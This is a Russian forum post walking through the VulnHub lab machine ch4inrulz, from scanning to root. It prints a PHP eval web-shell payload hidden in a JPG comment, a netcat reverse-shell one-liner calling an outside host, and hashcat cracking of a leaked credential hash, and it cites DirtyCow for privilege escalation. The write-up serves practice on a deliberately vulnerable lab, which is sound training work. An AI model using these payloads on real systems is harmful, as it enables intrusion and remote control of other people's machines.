Бесплатно Разбираем Уязвимости

Everest_RR

Местный
Private Club
Регистрация
8/10/18
Сообщения
232
Репутация
20
Реакции
255
RUB
0
aa5bdac8525dfafaccbb4c285506e3b1.jpg

Нет ничего невозможного, особенно для вас с нами. В этой статье хотелось бы поговорить о всех препятствиях, которые могут встретиться на пути к руту и обсудить, как их можно миновать. Рассмотрим различные варианты уязвимостей. А поможет нам в этом виртуальная машина ch4inrulz: 1.0.1 с VulhHub.

Что такое VulnHub

Итак, начнем с теоретических знаний. С помощью VulnHub можно без проблем получить образы операционных систем с сервисами, где есть уязвимости. Работать с образом виртуалки достаточно просто по той причине, что задания рассчитаны на новичков. Так что не стоит удивляться, если какие-либо из решений покажутся вам ну очень простыми.

Шаг 1. Для начала работы нам необходимо скачать образ и импортировать настройки. Через раздел «Сеть» выставляем сетевой мост на адаптер. Полученные данные сохраняем, прогу запускаем. При помощи Nmap сканируем виртуалку, для чего прописываем следующую команду:

$ nmap -Pn -A 192.168.56.101

Внимание! IP необходимо заменить на соответствующий.

Шаг 2. Итак, что нам стало известно? Видим тачку с торчащими портами 21/22 (FTP и SSH) и 80, 8011 – с веб-сервером. FTP игнорируем, стучимся на веб-сервер и на 80 порте обнаруживаем сайт. На 8011 порте кроме сообщения нет ничего.

О фаззинге директорий

Фазинг директорий делается для обнаружения интересных и нестандартных решений. На 80-м порте мы уже обнаружили путь /development. Видим basic authentication, используем HTTP Verb Tampering, что ни дает никаких результатов.

Как работать с HTTP Verb Tampering

Можно брутить, но лучше посмотреть, что нам дает фаззинг на 8011 порте. Находим API приложения и смотрим, что за зверь.

О Local File Inclusion

Становится понятно, что из перечня файлов мы можем воспользоваться только следующим: files_api.php.Для скрипта передаем параметр file. Проверка не работает. Что дальше? Самое время задействовать POST.

Отлично, получилось! И не нужно работать с врапперами или null-байтами. Ознакамливаемся с исходниками веб-приложений и тратим немного времени, чтобы угадать пути.

Пользоваться можно различными словарями. Делать это необязательно, достаточно будет вспомнить стандартные вебовые пути.

Узнаем, что корневая папка веба - /var/www. Проверка содержания конфигурационных файлов не дает результатов. Поэтому используем папку /development.

Видим креды от basic authentication и ломаем хеш от пароля. Понадобятся утилита hashcat и словарь rockyou:

$ hashcat -a 0 -m 1600 hash Downloads/rockyou.txt и узнаем пароль!

Еще один способ получить хеш, воспользоваться index.html.bak, располагающимся на 80-м порте. За basic authentication с кредами frank:frank!!! находится страница без ссылок. Угадав путь, видим сервис для загрузки картинок, используем врапперы.

Впихиваем в метаданные картинки код на PHP, используем LFI. Для подготовки пейлоада юзаем картинку JPG, с помощью exiftool кладем в comment код:

$ exiftool -comment="<?php eval(\$_POST[0]); ?>" payload1.jpg

Файл найдем в сорцах, вытащенных ранее.

Как получить RCE

URL-энкодим пейлоад:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

После чего отправляем его в функции urldecode и system и ловим сессию.

В заключение

Об эскалации привилегий: получаем рут, используя DirtyCow, предварительно найдя его в ExploitDB. Вуаля! Тачка принадлежит теперь нам!

Как мы видим, FTP нам не пригодился. При помощи LFI удалось получить креды, благодаря чему нашелся сервис для загрузки картинок. Закинув вредоносную картинку, мы получили RCE. Ну и правами рута разжились, применив DirtyCow. Как и говорилось ранее, нет ничего невозможного.
Читать статью на:
 
Сверху Снизу